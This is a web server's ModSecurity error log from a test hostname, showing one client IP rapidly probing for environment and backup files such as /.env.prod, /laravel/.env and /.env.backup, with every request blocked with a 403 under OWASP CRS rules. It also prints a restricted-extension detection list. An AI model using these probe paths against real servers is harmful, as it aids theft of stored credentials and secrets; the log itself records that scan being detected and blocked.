[Sun Mar 15 10:46:53.958555 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /www/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/www/.env&quot;] [unique_id &quot;abaADcvpIxk5lGn4VceHGgAAAAA&quot;]
[Sun Mar 15 10:46:53.958730 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/www/.env&quot;] [unique_id &quot;abaADcvpIxk5lGn4VceHGgAAAAA&quot;]
[Sun Mar 15 10:46:53.958854 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/www/.env&quot;] [unique_id &quot;abaADcvpIxk5lGn4VceHGgAAAAA&quot;]
[Sun Mar 15 10:46:53.981333 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /docker/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/.env&quot;] [unique_id &quot;abaADcvpIxk5lGn4VceHGwAAAAA&quot;]
[Sun Mar 15 10:46:53.981508 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/.env&quot;] [unique_id &quot;abaADcvpIxk5lGn4VceHGwAAAAA&quot;]
[Sun Mar 15 10:46:53.981629 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/.env&quot;] [unique_id &quot;abaADcvpIxk5lGn4VceHGwAAAAA&quot;]
[Sun Mar 15 10:46:54.003467 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /laravel/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/.env&quot;] [unique_id &quot;abaADsvpIxk5lGn4VceHHAAAAAA&quot;]
[Sun Mar 15 10:46:54.003631 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/.env&quot;] [unique_id &quot;abaADsvpIxk5lGn4VceHHAAAAAA&quot;]
[Sun Mar 15 10:46:54.003746 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/.env&quot;] [unique_id &quot;abaADsvpIxk5lGn4VceHHAAAAAA&quot;]
[Sun Mar 15 10:46:54.025624 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /env/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env/.env&quot;] [unique_id &quot;abaADsvpIxk5lGn4VceHHQAAAAA&quot;]
[Sun Mar 15 10:46:54.025803 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env/.env&quot;] [unique_id &quot;abaADsvpIxk5lGn4VceHHQAAAAA&quot;]
[Sun Mar 15 10:46:54.025932 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env/.env&quot;] [unique_id &quot;abaADsvpIxk5lGn4VceHHQAAAAA&quot;]
[Sun Mar 15 10:46:54.047893 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.prod&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod&quot;] [unique_id &quot;abaADsvpIxk5lGn4VceHHgAAAAA&quot;]
[Sun Mar 15 10:46:54.048076 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod&quot;] [unique_id &quot;abaADsvpIxk5lGn4VceHHgAAAAA&quot;]
[Sun Mar 15 10:46:54.048221 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod&quot;] [unique_id &quot;abaADsvpIxk5lGn4VceHHgAAAAA&quot;]
[Sun Mar 15 10:46:54.070058 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.production&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;abaADsvpIxk5lGn4VceHHwAAAAA&quot;]
[Sun Mar 15 10:46:54.070225 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;abaADsvpIxk5lGn4VceHHwAAAAA&quot;]
[Sun Mar 15 10:46:54.070358 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;abaADsvpIxk5lGn4VceHHwAAAAA&quot;]
[Sun Mar 15 10:46:54.092192 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local&quot;] [unique_id &quot;abaADsvpIxk5lGn4VceHIAAAAAA&quot;]
[Sun Mar 15 10:46:54.092363 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local&quot;] [unique_id &quot;abaADsvpIxk5lGn4VceHIAAAAAA&quot;]
[Sun Mar 15 10:46:54.092481 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local&quot;] [unique_id &quot;abaADsvpIxk5lGn4VceHIAAAAAA&quot;]
[Sun Mar 15 10:46:54.114170 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.backup&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.backup&quot;] [unique_id &quot;abaADsvpIxk5lGn4VceHIQAAAAA&quot;]
[Sun Mar 15 10:46:54.114434 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.backup&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.backup&quot;] [unique_id &quot;abaADsvpIxk5lGn4VceHIQAAAAA&quot;]
[Sun Mar 15 10:46:54.114593 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.backup&quot;] [unique_id &quot;abaADsvpIxk5lGn4VceHIQAAAAA&quot;]
[Sun Mar 15 10:46:54.114720 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.backup&quot;] [unique_id &quot;abaADsvpIxk5lGn4VceHIQAAAAA&quot;]
[Sun Mar 15 10:46:54.137344 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.example&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;abaADsvpIxk5lGn4VceHIgAAAAA&quot;]
[Sun Mar 15 10:46:54.137528 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;abaADsvpIxk5lGn4VceHIgAAAAA&quot;]
[Sun Mar 15 10:46:54.137658 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;abaADsvpIxk5lGn4VceHIgAAAAA&quot;]
[Sun Mar 15 10:46:54.159400 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.old&quot;] [unique_id &quot;abaADsvpIxk5lGn4VceHIwAAAAA&quot;]
[Sun Mar 15 10:46:54.159652 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.old&quot;] [unique_id &quot;abaADsvpIxk5lGn4VceHIwAAAAA&quot;]
[Sun Mar 15 10:46:54.159835 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.old&quot;] [unique_id &quot;abaADsvpIxk5lGn4VceHIwAAAAA&quot;]
[Sun Mar 15 10:46:54.159953 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.old&quot;] [unique_id &quot;abaADsvpIxk5lGn4VceHIwAAAAA&quot;]
